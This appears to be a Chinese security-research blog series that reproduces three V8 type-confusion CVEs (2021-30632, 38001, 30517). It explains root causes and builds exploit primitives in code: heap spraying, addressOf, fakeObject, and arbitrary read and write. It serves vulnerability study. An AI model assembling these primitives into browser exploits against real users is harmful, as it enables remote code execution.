 - elements: 0x34070804a1b1 <FixedArray[30]> [HOLEY_SMI_ELEMENTS]
 - length: 30
 - properties: 0x34070804a231 <PropertyArray[3]>
 - All own properties (excluding elements): {
    0x340708004905: [String] in ReadOnlySpace: #length: 0x34070814215d <AccessorInfo> (const accessor descriptor), location: descriptor
    0x340708007aad: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: properties[0]
 }
 - elements: 0x34070804a1b1 <FixedArray[30]> {
        0-29: 5
 }
......

然后挂上GDB进行调试,发现变量z的值(0x80023b500000002)位于elements + 8 + 16 * 8,从这可以看出该PoC达到了越界读的效果,同理,oobWrite函数能达到越界写的目的。

那么我们可以按以下顺序定义变量:

var arr = new Array(30); arr.fill(4); arr.a = 1;
var trigger_array = [1.1];
var padding = [1.1];
var vul_obj = {"a" : 1};

那么通过arr的越界读,我们可以获取到下面三个变量的相关信息。具体的偏移可以通过gdb调试获取,比如trigger_array变量的偏移为20。我可以通过oobWrite函数去修改trigger_array变量的size位,转换为trigger_array变量的越界利用。

根据上述的数据去修改oobWrite函数和oobRead函数:

function oobRead() {
  return x[21];
}

function oobWrite(addr) {
  x[21] = addr;
}

然后就是修改trigger_arraysize,把trigger_array数组的大小改为0x20:

var z = oobRead();
console.log("[*] leak data: 0x"+hex(ftoi(z)));
if (d2u(z)[1] == 2)
  oobWrite(u2d(d2u(z)[0], 0x20));
else
  oobWrite(u2d(0x20, d2u(z)[1]));

编写addressOf函数

现在我们能来编写addressOf函数了:

function addressOf(obj_to_leak)
{
    vul_obj[0] = obj_to_leak;
    trigger_array[7] = array_map;
    let obj_addr = ftoi(vul_obj[0])-1n;
    trigger_array[7] = obj_map;
    return obj_addr;
}

编写fakeObj函数

接下来就是编写fakeObj函数:

function fakeObject(addr_to_fake)
{
    padding[0] = itof(addr_to_fake + 1n);
    trigger_array[5] = obj_map;
    let faked_obj = padding[0];
    trigger_array[5] = array_map;
    return faked_obj;
}

其他

剩下的工作就是按照惯例,套模板,修改偏移了,这PoC目前我也没觉得哪里有需要优化的地方。

漏洞简述

在文章开头,就给了一篇分析文章,原理在这篇文章也讲的很清楚了,我这里就不展开再写了。我就简单概括一下说说我的理解。

首先是对foo函数进行JIT优化:

//Optimzie foo
for (let i = 0; i < 40000; i++) {
  if (i == 100) arr2[0] = 1.1;
  foo(arr1);
}

arr1unstable的情况下,经过JIT优化,所以JIT会假设foo函数的输入为SMI数组类型的变量,然后执行x[0] = 1.1;,把x变为浮点型数组类型的变量,但是因为变量x(这个时候x等于arr1)是unstable,因为代码的bug,所以这个时候不会取消JIT优化。

然后执行:

for (let i = 0; i < 40000; i++) oobRead();

oobRead函数也经过JIT优化,这个时候JIT认为变量x是浮点型数组类型。

然后执行foo(arr);,因为之前JIT已经假设了foo函数的输入变量为SMI数组,而arr就是SMI数组变量,所以JIT把x变量设置成了arr,却没有取消oobRead函数对于x变量的假设。

也就是说,在foo函数中,认为x是SMI数组,而oobRead函数中认为x是浮点型数组,这就产生了类型混淆。

所以在oobRead函数中x[21]的取值方式是在地址为x + 8 * 21取8字节的浮点型数值。但是x现在已经等于变量arr了,是一个长度为30的SMI数组,size为: 4 * 30,所以这就导致了溢出。

不过在分析该漏洞的时候仍然还有一些问题没有解决,函数循环多少次会被JIT优化?在什么情况下把arr1转化为unstable,JIT才能正常优化?上面循环40000次,在i==100的时候让arr1变为unstable都是我试出来的,但是为啥是这个次数呢?我还没研究明白。等后续研究明白了可以专门写一篇文章。

参考

  1. https://bugs.chromium.org/p/chromium/issues/detail?id=1247763
  2. https://securitylab.github.com/research/in_the_wild_chrome_cve_2021_30632

 

CVE-2021-38001(六)


CVE-2021-38001漏洞分析

第四个研究的是CVE-2021-38001,其chrome的bug编号为:1260577

其相关信息还未公开,但是我们仍然能得知:

受影响的Chrome最高版本为:95.0.4638.54
受影响的V8最高版本为:9.5.172.21

搭建环境

一键编译相关环境:

$ ./build.sh 9.5.172.21

该漏洞是2021年天府杯上提交的漏洞,在网上也只有一篇相关分析和PoC[2]:

import * as module from "1.mjs";

function poc() {
    class C {
        m() {
            return super.y;
        }
    }

    let zz = {aa: 1, bb: 2};
    // receiver vs holder type confusion
    function trigger() {
        // set lookup_start_object
        C.prototype.__proto__ = zz;
        // set holder
        C.prototype.__proto__.__proto__ = module;

        // "c" is receiver in ComputeHandler [ic.cc]
        // "module" is holder
        // "zz" is lookup_start_object
        let c = new C();

        c.x0 = 0x42424242 / 2;
        c.x1 = 0x42424242 / 2;
        c.x2 = 0x42424242 / 2;
        c.x3 = 0x42424242 / 2;
        c.x4 = 0x42424242 / 2;

        // LoadWithReceiverIC_Miss
        // => UpdateCaches (Monomorphic)
        // CheckObjectType with "receiver"
        let res = c.m();
    }

    for (let i = 0; i < 0x100; i++) {
        trigger();
    }
}

poc();

该漏洞在原理的理解上有一些难度,不过仍然能使用套模板的方法来编写EXP,不过在套模板之前我们先来学一个新技术:V8通用堆喷技术

V8通用堆喷技术

首先来做个简单的测试:

a = Array(100);
%DebugPrint(a);
%SystemBreak();

使用vmmap查看堆布局:

    0x1f7a00000000     0x1f7a00003000 rw-p     3000 0      [anon_1f7a00000]
    0x1f7a00003000     0x1f7a00004000 ---p     1000 0      [anon_1f7a00003]
    0x1f7a00004000     0x1f7a0001a000 r-xp    16000 0      [anon_1f7a00004]
    0x1f7a0001a000     0x1f7a0003f000 ---p    25000 0      [anon_1f7a0001a]
    0x1f7a0003f000     0x1f7a08000000 ---p  7fc1000 0      [anon_1f7a0003f]
    0x1f7a08000000     0x1f7a0802a000 r--p    2a000 0      [anon_1f7a08000]
    0x1f7a0802a000     0x1f7a08040000 ---p    16000 0      [anon_1f7a0802a]
    0x1f7a08040000     0x1f7a0814d000 rw-p   10d000 0      [anon_1f7a08040]
    0x1f7a0814d000     0x1f7a08180000 ---p    33000 0      [anon_1f7a0814d]
    0x1f7a08180000     0x1f7a08183000 rw-p     3000 0      [anon_1f7a08180]
    0x1f7a08183000     0x1f7a081c0000 ---p    3d000 0      [anon_1f7a08183]
    0x1f7a081c0000     0x1f7a08240000 rw-p    80000 0      [anon_1f7a081c0]
    0x1f7a08240000     0x1f7b00000000 ---p f7dc0000 0      [anon_1f7a08240]

其中我们注意一下最后一块堆相关信息:

0x1f7a081c0000     0x1f7a08240000 rw-p    80000 0      [anon_1f7a081c0]

pwndbg> x/16gx 0x1f7a081c0000
0x1f7a081c0000:    0x0000000000040000 0x0000000000000004
0x1f7a081c0010:    0x000056021f06d738 0x00001f7a081c2118
0x1f7a081c0020:    0x00001f7a08200000 0x000000000003dee8
0x1f7a081c0030:    0x0000000000000000 0x0000000000002118
0x1f7a081c0040:    0x000056021f0efae0 0x000056021f05f5a0
0x1f7a081c0050:    0x00001f7a081c0000 0x0000000000040000
0x1f7a081c0060:    0x000056021f0ed840 0x0000000000000000
0x1f7a081c0070:    0xffffffffffffffff 0x0000000000000000

以下为该堆块的相关结构:

0x1f7a081c0000: size = 0x40000
0x1f7a081c0018: 堆的起始地址为0x00001f7a081c2118,在V8的堆结构中有0x2118字节用来存储堆结构相关信息
0x1f7a081c0020: 堆指针,表示该堆已经被使用到哪了
0x1f7a081c0028: 已经被使用的size, 0x3dee8 + 0x2118 = 0x40000

再来看看后面的堆布局:

pwndbg> x/16gx 0x1f7a081c0000 + 0x40000
0x1f7a08200000:    0x0000000000040000 0x0000000000000004
0x1f7a08200010:    0x000056021f06d738 0x00001f7a08202118
0x1f7a08200020:    0x00001f7a08240000 0x000000000003dee8
0x1f7a08200030:    0x0000000000000000 0x0000000000002118
0x1f7a08200040:    0x000056021f0f0140 0x000056021f05f5a0
0x1f7a08200050:    0x00001f7a08200000 0x0000000000040000
0x1f7a08200060:    0x000056021f0fd3c0 0x0000000000000000
0x1f7a08200070:    0xffffffffffffffff 0x0000000000000000

结构同上,可以发现,在0x1f7a081c0000 0x1f7a08240000 rw-p 80000 0 [anon_1f7a081c0]内存区域中,由两个大小为0x40000的v8的堆组成。

如果这个时候,我申请一个0xf700大小的数组,在新版v8中,一个地址4字节,那么就是需要0xf700 * 4 + 0x2118 = 0x3fd18,再对齐一下,那么就是0x40000大小的堆,我们来测试一下:

a = Array(0xf700);
%DebugPrint(a);
%SystemBreak();

得到变量a的信息为:

DebugPrint: 0x2beb08049929: [JSArray]
 - map: 0x2beb08203ab9 <Map(HOLEY_SMI_ELEMENTS)> [FastProperties]
 - prototype: 0x2beb081cc0e9 <JSArray[0]>
 - elements: 0x2beb08242119 <FixedArray[63232]> [HOLEY_SMI_ELEMENTS]
 - length: 63232
 - properties: 0x2beb0800222d <FixedArray[0]>
 - All own properties (excluding elements): {
    0x2beb080048f1: [String] in ReadOnlySpace: #length: 0x2beb0814215d <AccessorInfo> (const accessor descriptor), location: descriptor
 }
 - elements: 0x2beb08242119 <FixedArray[63232]> {
     0-63231: 0x2beb0800242d <the_hole>
 }

发现堆布局的变化:

    0x2beb081c0000     0x2beb08280000 rw-p    c0000 0      [anon_2beb081c0]

size从0x80000变成了0xc0000,跟我预想的一样,增加了0x40000,而变量aelements字段地址为0x2beb081c0000 + 0x80000 + 0x2118 + 0x1 = 0x2beb08242119

在新版的V8种,因为启用的地址压缩特性,在堆中储存的地址为4字节,而根据上述堆的特性,我们能确定低2字节为0x2119

另外,堆地址总是从0x00000000开始的,在我的环境中,上述堆的高2字节总是0x081c,该数值取决于V8在前面的堆中储存了多少数据,该值不会随机变化,比如在写好的脚本中,该值基本不会发生改变。所以现在,可以确定一个有效地址:0x081c0000 + 0x2118 + 0x1 + 0x80000 + 0x40000 * n, n>=0

如果在比较复杂的环境中,可以增加Array的数量,然后定一个比较大的值,如以下一个示例:

big_array = [];
  for (let i = 0x0; i < 0x50; i++) {
      tmp = new Array(0x100000);
      for (let j = 0x0; j < 0x100; j++) {
          tmp[0x18 / 0x8 + j * 0x1000] = itof(i * 0x100 + j);
      }
      big_array.push(tmp);
}

通过该方法堆喷,我们能确定一个地址:0x30002121,然后通过以下代码可以获取到u2d(i * 0x100 + j, 0)的值,从而算出i,j:

var u32 = new Uint32Array(f64.buffer);
getByteLength = u32.__lookupGetter__('byteLength');
byteLength = getByteLength.call(evil);

该方法的作用是获取Uint32Array类型变量的bytelength属性,可以通过调试,了解一下Uint32Array类型变量的结构。

但是为什么evil(地址为0x30002121),会被当成Uint32Array类型的变量呢,因为使用上述方法,V8不会检查变量类型吗?当然不是,上面的代码并不完整,完整的代码还需要伪造map结构,地址我们可以算出来,而map结构的会被检查的数据都是flag标志为,该值固定,所以使用gdb查看一下相关变量的map结构,就能进行伪造了,完整的堆喷代码如下:

ut_map = itof(0x300021a1);
  buffer = itof(0x3000212900000000);

  address = itof(0x12312345678);
  ut_map1 = itof(0x1712121200000000);
  ut_map2 = itof(0x3ff5500082e);
  ut_length = itof(0x2);
  double_map = itof(0x300022a1);
  double_map1 = itof(0x1604040400000000);
  double_map2 = itof(0x7ff11000834);

  big_array = [];
  for (let i = 0x0; i < 0x50; i++) {
      tmp = new Array(0x100000);
      for (let j = 0x0; j < 0x100; j++) {
          tmp[0x0 / 0x8 + j * 0x1000] = ut_map;
          tmp[0x8 / 0x8 + j * 0x1000] = buffer;
          tmp[0x18 / 0x8 + j * 0x1000] = itof(i * 0x100 + j);
          tmp[0x20 / 0x8 + j * 0x1000] = ut_length;
          tmp[0x28 / 0x8 + j * 0x1000] = address;
          tmp[0x30 / 0x8 + j * 0x1000] = 0x0;
          tmp[0x80 / 0x8 + j * 0x1000] = ut_map1;
          tmp[0x88 / 0x8 + j * 0x1000] = ut_map2;
          tmp[0x100 / 0x8 + j * 0x1000] = double_map;
          tmp[0x180 / 0x8 + j * 0x1000] = double_map1;
          tmp[0x188 / 0x8 + j * 0x1000] = double_map2;
      }
      big_array['push'](tmp);
  }

后续利用中同样可以使用该思路伪造一个doule数组的变量或者obj数组的变量。

套模版

接下来又到套模板的时间了,暂时先不用管漏洞成因,漏洞原理啥的,我们先借助PoC,来把我们的exp写出来。

研究PoC

可以把PoC化简一下:

import('./2.mjs').then((m1) => {
    var f64 = new Float64Array(1);
    var bigUint64 = new BigUint64Array(f64.buffer);
    var u32 = new Uint32Array(f64.buffer);

    function d2u(v) {
        f64[0] = v;
        return u32;
    }
    function u2d(lo, hi) {
        u32[0] = lo;
        u32[1] = hi;
        return f64[0];
    }
    function ftoi(f)
    {
        f64[0] = f;
        return bigUint64[0];
    }
    function itof(i)
    {
        bigUint64[0] = i;
        return f64[0];
    }
    class C {
        m() {
            return super.x;
        }
    }
    obj_prop_ut_fake = {};
    for (let i = 0x0; i < 0x11; i++) {
        obj_prop_ut_fake['x' + i] = u2d(0x40404042, 0);
    }
    C.prototype.__proto__ = m1;
    function trigger() {
        let c = new C();

        c.x0 = obj_prop_ut_fake;
        let res = c.m();
        return res;
    }
    for (let i = 0; i < 10; i++) {
        trigger();
    }
    let evil = trigger();
    %DebugPrint(evil);
});

运行一下PoC,可以发现,最后的结果为:DebugPrint: Smi: 0x20202021 (538976289),SMI类型的变量,值为0x20202021,在内存中的储存值为其两倍:0x20202021 * 2 = 0x40404042,也就是我们在PoC中设置的值。

编写堆喷代码

在PoC中加上我们的堆喷代码(同时进行堆布局):

a = [2.1];
b_1 = {"a": 2.2};
b = [b_1];
double_array_addr = 0x082c2121+0x100;
double_array_map0 = itof(0x1604040408002119n);
double_array_map1 = itof(0x0a0007ff11000834n);
ptr_array_addr = 0x08242119;
ptr_array = new Array(0xf700);
ptr_array[0] = a;
ptr_array[1] = b;
big_array = new Array(0xf700);
big_array[0x000/8] = u2d(double_array_addr, 0);
big_array[0x008/8] = u2d(ptr_array_addr, 0x2);
big_array[0x100/8] = double_array_map0;
big_array[0x108/8] = double_array_map1;

其中0x082c2121big_array[0]的地址,0x08242119ptr_array[0]的地址。

然后是leak变量a和变量b的map地址:

let evil = trigger();
addr = d2u(evil[0]);
a_addr = addr[0];
b_addr = addr[1];
console.log("[*] leak a addr: 0x"+hex(a_addr));
console.log("[*] leak b addr: 0x"+hex(b_addr));
big_array[0x008/8] = u2d(a_addr - 0x8, 0x2);
double_array_map = evil[0];
big_array[0x008/8] = u2d(b_addr - 0x8, 0x2);
obj_array_map = evil[0];
console.log("[*] leak double_array_map: 0x"+hex(ftoi(double_array_map)));
console.log("[*] leak obj_array_map: 0x"+hex(ftoi(obj_array_map)));

编写addressOf函数

现在我们能来编写addressOf函数了:

function addressOf(obj_to_leak)
{
    big_array[0x008/8] = u2d(b_addr - 0x8, 0x2);
    b[0] = obj_to_leak;
    evil[0] = double_array_map;
    let obj_addr = ftoi(b[0])-1n;
    evil[0] = obj_array_map;
    return obj_addr;
}

编写fakeObj函数

接下来就是编写fakeObj函数:

function fakeObject(addr_to_fake)
{
    big_array[0x008/8] = u2d(a_addr - 0x8, 0x2);
    a[0] = itof(addr_to_fake + 1n);
    evil[0] = obj_array_map;
    let faked_obj = a[0];
    evil[0] = double_array_map;
    return faked_obj;
}

之后就是按照模版来了,修改修改偏移,就能执行shellcode了。

优化

该PoC还能进行一些优化,有时候没必要死抠着模板来,按照上文的所说的知识,我们能伪造map结构的数据,那自然不管是double array map还是obj array map都能,所以没必要再泄漏这些数据了。

我们的堆喷代码能进行一些优化:

double_array_addr = 0x08282121+0x100;
obj_array_addr = 0x08282121+0x150;
array_map0 = itof(0x1604040408002119n);
double_array_map1 = itof(0x0a0007ff11000834n);
obj_array_map1 = itof(0x0a0007ff09000834n);
ptr_array_addr = 0x08282121 + 0x050;
big_array = new Array(0xf700);
big_array[0x000/8] = u2d(obj_array_addr, 0);
big_array[0x008/8] = u2d(ptr_array_addr, 0x2);
big_array[0x100/8] = array_map0;
big_array[0x108/8] = double_array_map1;
big_array[0x150/8] = array_map0;
big_array[0x158/8] = obj_array_map1;

其中big_array[0x100/8]是我们伪造的double array mapbig_array[0x150/8]是我们伪造的object array map

addressOf函数和fakeObj函数也进行一波优化:

function fakeObject(addr_to_fake)
{
    big_array[0x058/8] = itof(addr_to_fake + 1n);        
    let faked_obj = evil[0];
    return faked_obj;
}

function addressOf(obj_to_leak)
{
    evil[0] = obj_to_leak;
    big_array[0x000/8] = u2d(double_array_addr, 0);
    let obj_addr = ftoi(evil[0])-1n;
    big_array[0x000/8] = u2d(obj_array_addr, 0);
    return obj_addr;
}

其他PoC

该漏洞的PoC不仅有Github上公开的版本,还抓到一个在野利用的版本:

function triger_type_confusion() {
    return obj;
}
obj_or_function = 1.1;
class C extends triger_type_confusion {
  constructor() {
      super();
      obj_or_function = super.x;
  }
}

obj_prop_ut_fake = {};
for (let i = 0x0; i < 0x11; i++) {
  obj_prop_ut_fake['x' + i] = itof(0x30002121);
}
obj = {
  'x1': obj_prop_ut_fake
};
C['prototype']['__proto__'] = q1;

for (let i = 0x0; i < 0xa; i++) {
  new C();
}
new C();
fake_ut = obj_or_function;

不过跟Github上的PoC对比,略显麻烦了一些,不过原理仍然是一样的。

漏洞原理

该漏洞的成因跟之前我复现的漏洞相比,略微复杂了一下,需要补充一些V8的设计原理相关的知识,可以参考:[3][4]

需要了解一下JS获取属性的原理,还有Inline Caches相关的知识。

这里我只简单说说该漏洞的问题:

在最开始执行10次new C(),因为Lazy feedback allocation,所以并没有对属性访问进行优化,这个时候的super就是m1,但是在执行完10次之后,开始进行Inline Caches优化,因为内联缓存代码的bug,super的值变成了变量c: let c = new C();,之后的流程如下:

  1. super.x的取值顺序为:JSModuleNamespace -> module(+0xC) -> exports (+0x4) -> y(+0x28) -> value(+0x4)
  2. 因为Lazy feedback allocationtrigger函数在执行10次之后,触发了Inline Caches,为了加速代码执行速度,把super.x取值的顺序直接转换成汇编代码。
  3. 漏洞代码,在翻译汇编代码的时候,把super翻译成了变量c
  4. c+0xC位置储存的是obj_prop_ut_fake
  5. obj_prop_ut_fake+0x4储存的是该变量的properties(属性),也就是obj_prop_ut_fake.xn
  6. obj_prop_ut_fake.properties + 0x28获取到的是HeapNumber结构地址。
  7. HeapNumber+0x4地址的值为u2d(0x40404042, 0)

参考

  1. https://bugs.chromium.org/p/chromium/issues/detail?id=1260577
  2. https://github.com/vngkv123/articles/blob/main/CVE-2021-38001.md
  3. https://v8.dev/blog/v8-lite
  4. https://mathiasbynens.be/notes/shapes-ics#ics

 

CVE-2021-30517(七)


复现CVE-2021-30517

第五个研究的是CVE-2021-30517,其chrome的bug编号为:1203122

可以很容易找到其相关信息:

受影响的Chrome最高版本为:90.0.4430.93
受影响的V8最高版本为:9.0.257.23

相关PoC:

function main() {
    class C {
        m() {
            super.prototype
        }
    }
    function f() {}
    C.prototype.__proto__ = f

    let c = new C()
    c.x0 = 1
    c.x1 = 1
    c.x2 = 1
    c.x3 = 1
    c.x4 = 0x42424242 / 2

    f.prototype
    c.m()
}
for (let i = 0; i < 0x100; ++i) {
    main()
}

在Chrome的bug信息页面除了poc外,同时也公布了exp,有需要的可自行下载研究。

搭建环境

一键编译相关环境:

$ ./build.sh 9.0.257.23

套模版

该PoC跟上篇文章的PoC相似度很高,原理也相似,所以可以尝试上文的堆喷技术来写该漏洞的EXP,但是该漏洞还存在另一个PoC:

obj = {a:1};
obj_array = [obj];
%DebugPrint(obj_array);
function main() {
    class C {
        m() {
            return super.length;
        }
    }
    f = new String("aaaa");
    C.prototype.__proto__ = f

    let c = new C()
    c.x0 = obj_array;
    f.length;
    return c.m();
}
for (let i = 0; i < 0x100; ++i) {
    r = main()
    if (r != 4) {
        console.log(r);
        break;
    }
}

运行PoC,得到结果:

DebugPrint: 0x322708088a01: [JSArray]
 - map: 0x322708243a41 <Map(PACKED_ELEMENTS)> [FastProperties]
 - prototype: 0x32270820b899 <JSArray[0]>
 - elements: 0x3227080889f5 <FixedArray[1]> [PACKED_ELEMENTS]
 - length: 1
 - properties: 0x32270804222d <FixedArray[0]>
 - All own properties (excluding elements): {
    0x3227080446d1: [String] in ReadOnlySpace: #length: 0x32270818215d <AccessorInfo> (const accessor descriptor), location: descriptor
 }
 - elements: 0x3227080889f5 <FixedArray[1]> {
           0: 0x3227080889c9 <Object map = 0x322708247141>
 }

134777333
hex(134777333) = 0x80889f5

最后返回的length等于obj_array变量的elements地址。理解了上文对类型混淆的讲解,应该能看懂上述的PoC,该PoC通过String和Array类型混淆,从而泄漏出obj_array变量的elements。根据该逻辑我们来编写EXP。

泄漏变量地址

obj = {a:1};
obj_array = [obj];
class C {
    constructor() {
        this.x0 = obj_array;
    }
    m() {
        return super.length;
    }
}
let receive = new C();
function trigger1() {   
    lookup_start_object = new String("aaaa");
    C.prototype.__proto__ = lookup_start_object;
    lookup_start_object.length;
    return receive.m()
}
for (let i = 0; i < 140; ++i) {
    trigger1();
}
element = trigger1();

编写addressOf函数

在上面的基础上,编写addressOf函数:

function addressOf(obj_to_leak)
{
    obj_array[0] = obj_to_leak;
    receive2.length = (element-0x1)/2;
    low3 = trigger2();
    receive2.length = (element-0x1+0x2)/2;
    hi1 = trigger2();
    res = (low3/0x100) | (hi1 * 0x100 & 0xFF000000);
    return res-1;
}

class B extends Array {
    m() {
        return super.length;
    }
}
let receive2 = new B();
function trigger2() {   
    lookup_start_object = new String("aaaa");
    B.prototype.__proto__ = lookup_start_object;
    lookup_start_object.length;
    return receive2.m()
}
for (let i = 0; i < 140; ++i) {
    trigger2();
}

addressOf函数与之前的文章中编写的,稍显复杂了一些,这里做一些解释。

receive2length属性属于SMI类型,储存在内存中的值为偶数,其值除以2,就是真正的SMI的值。

String对象读取length的路径为:String->value(String+0xB)->length(*value+0x7)

因为receive2对象通过漏洞被认为了是String对象,所以receive2+0xB的值为receive2.length属性的值。

所以我们可以通过receive2.length来设置value的值,但是只能设置为偶数,而正确的值应该为奇数,所以这里我们需要读两次,然后通过位运算,还原出我们实际需要的值。

编写read32函数

跟之前的模版不同,该漏洞能让我们在不构造fake_obj的情况下编写任意读函数,为了后续利用更方便,所以该漏洞的EXP我们加入了read32函数:

function read32(addr)
{
    receive2.length = (addr-0x8)/2;
    low3 = trigger2();
    receive2.length = (addr-0x8+0x2)/2;
    hi1 = trigger2();
    res = (low3/0x100) | (hi1 * 0x100 & 0xFF000000);
    return res;
}

原理和addressOf一样。

编写read64函数

因为该漏洞的特性,我们这次不需要编写fakeObject函数,所以接下来我们需要构造fake_obj来编写read64函数。

多调试一下我们前文使用的PoC,该PoC只能泄漏地址,但是没办法让我们得到一个伪造的对象。但是文章的最开始,Chrome的bug页面中给的PoC,却可以让我们得到一个对象。因为是把函数的prototype对象进行类型混淆。

构造fake_obj的代码如下所示:

var fake_array = [1.1, 2.2, 3.3, 4.4, 5.5];
var fake_array_addr = addressOf(fake_array);
fake_array_map = read32(fake_array_addr);
fake_array_map_map = read32(fake_array_map-1);
fake_array_ele = read32(fake_array_addr+8) + 8;
fake_array[0] = u2d(fake_array_map, 0);
fake_array[1] = u2d(0x41414141, 0x2);
fake_array[2] = u2d(fake_array_map_map*0x100, fake_array_map_map/0x1000000);
fake_array[3] = 0;
fake_array[4] = u2d(fake_array_ele*0x100, fake_array_ele/0x1000000);

class A extends Array {
    constructor() {
        super();
        this.x1 = 1;
        this.x2 = 2;
        this.x3 = 3;
        this.x4 = (fake_array_ele-1+0x10+2) / 2;
    }
    m() {
        return super.prototype;
    }
}
let receive3 = new A();
function trigger3() {   
    function lookup_start_object(){};
    A.prototype.__proto__ = lookup_start_object;
    lookup_start_object.prototype;
    return receive3.m()
}
for (let i = 0; i < 140; ++i) {
    trigger3();
}
fake_object = trigger3();

通过调试我们可以发现,函数lookup_start_object获取prototype对象的路径为:lookup_start_object->function prototype(lookup_start_object+0x1B),如果该地址的map为表示类型的对象,如下所以:

0x257d08242281: [Map]
 - type: JS_FUNCTION_TYPE
 - instance size: 32
 - inobject properties: 0
 - elements kind: HOLEY_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - stable_map

改对象的特点为:

pwndbg> x/2gx 0x257d08242281-1
0x257d08242280:    0x1408080808042119 0x084017ff19c20423
pwndbg> x/2gx 0x257d00000000+0xC0
0x257d000000c0:    0x0000257d08042119 0x0000257d08042509
pwndbg> job 0x257d08042119
0x257d08042119: [Map] in ReadOnlySpace
 - type: MAP_TYPE
 - instance size: 40
 - elements kind: HOLEY_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - stable_map
 - non-extensible
 - back pointer: 0x257d080423b5 <undefined>
 - prototype_validity cell: 0
 - instance descriptors (own) #0: 0x257d080421c1 <Other heap object (STRONG_DESCRIPTOR_ARRAY_TYPE)>
 - prototype: 0x257d08042235 <null>
 - constructor: 0x257d08042235 <null>
 - dependent code: 0x257d080421b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
 - construction counter: 0

如果lookup_start_object+0x1B执行的地址的map值为0x08242281,则获取其prototype(+0xF)

在上述的PoC中:fake_array[2] = u2d(fake_array_map_map*0x100, fake_array_map_map/0x1000000);就是在伪造MAP类型的map。

该地址加上0xffake_array[4] = u2d(fake_array_ele*0x100, fake_array_ele/0x1000000);,指向了fake_array的开始:

fake_array[0] = u2d(fake_array_map, 0);
fake_array[1] = u2d(0x41414141, 0x2);

而最开始,就是我们伪造的浮点型数组。有了fake_obj之后我们就可以编写read64函数了:

function read64(addr)
{
    fake_array[1] = u2d(addr - 0x8 + 0x1, 0x2);
    return fake_object[0];
}

编写write64函数

然后就是write64函数:

function write64(addr, data)
{
    fake_array[1] = u2d(addr - 0x8 + 0x1, 0x2);
    fake_object[0] = itof(data);
}

其他

剩下的工作就是按照惯例,套模板,修改偏移了,这PoC目前我也没觉得哪里有需要优化的地方。

漏洞简述

上述伪造fake_obj的逻辑中,v8返回函数的prototype的逻辑如下:

Node* CodeStubAssembler::LoadJSFunctionPrototype(Node* function,
                                                 Label* if_bailout) {
  CSA_ASSERT(this, TaggedIsNotSmi(function));
  CSA_ASSERT(this, IsJSFunction(function));
  CSA_ASSERT(this, IsClearWord32(LoadMapBitField(LoadMap(function)),
                                 1 << Map::kHasNonInstancePrototype));
  Node* proto_or_map =
      LoadObjectField(function, JSFunction::kPrototypeOrInitialMapOffset);
  GotoIf(IsTheHole(proto_or_map), if_bailout);
  VARIABLE(var_result, MachineRepresentation::kTagged, proto_or_map);
  Label done(this, &var_result);
  GotoIfNot(IsMap(proto_or_map), &done);  -> 判断是否为MAP对象
  var_result.Bind(LoadMapPrototype(proto_or_map)); -> 如果是,则返回其prototype,偏移为0xf
  Goto(&done);
  BIND(&done);
  return var_result.value();
}

该漏洞的原理在Chrome的bug描述页面也有说明,就是receiverlookup_start_object搞混了。

下例代码:

class A extends Array {
    constructor() {
        super();
        this.x1 = 1;
        this.x2 = 2;
        this.x3 = 3;
        this.x4 = (fake_array_ele-1+0x10+2) / 2;
    }
    m() {
        return super.prototype;
    }
}
let receive3 = new A();

其中变量receive3就是receiver,而lookup_start_objectA.prototype.__proto__

然后就是以下代码:

Handle<Object> LoadIC::ComputeHandler(LookupIterator* lookup) {
  Handle<Object> receiver = lookup->GetReceiver();
  ReadOnlyRoots roots(isolate());
  // `in` cannot be called on strings, and will always return true for string
  // wrapper length and function prototypes. The latter two cases are given
  // LoadHandler::LoadNativeDataProperty below.
  if (!IsAnyHas() && !lookup->IsElement()) {
    if (receiver->IsString() && *lookup->name() == roots.length_string()) {
      TRACE_HANDLER_STATS(isolate(), LoadIC_StringLength);
      return BUILTIN_CODE(isolate(), LoadIC_StringLength);
    }
    if (receiver->IsStringWrapper() &&
        *lookup->name() == roots.length_string()) {
      TRACE_HANDLER_STATS(isolate(), LoadIC_StringWrapperLength);
      return BUILTIN_CODE(isolate(), LoadIC_StringWrapperLength);
    }
    // Use specialized code for getting prototype of functions.
    if (receiver->IsJSFunction() &&
        *lookup->name() == roots.prototype_string() &&
        !JSFunction::cast(*receiver).PrototypeRequiresRuntimeLookup()) {
      TRACE_HANDLER_STATS(isolate(), LoadIC_FunctionPrototypeStub);
      return BUILTIN_CODE(isolate(), LoadIC_FunctionPrototype);
    }
  }
  Handle<Map> map = lookup_start_object_map();
  Handle<JSObject> holder;
  bool holder_is_lookup_start_object;
  if (lookup->state() != LookupIterator::JSPROXY) {
    holder = lookup->GetHolder<JSObject>();
    holder_is_lookup_start_object =
        lookup->lookup_start_object().is_identical_to(holder);
  }

当获取函数的prototype属性或者字符串对象获取其length属性时(也就是super.prototype(super.length)),使用的是receiver而不是A.prototype.__proto__

上述代码为ICs的优化代码,在没有进行inline cache的情况下,漏洞并不会发生。

参考

  1. https://bugs.chromium.org/p/chromium/issues/detail?id=1203122
(完)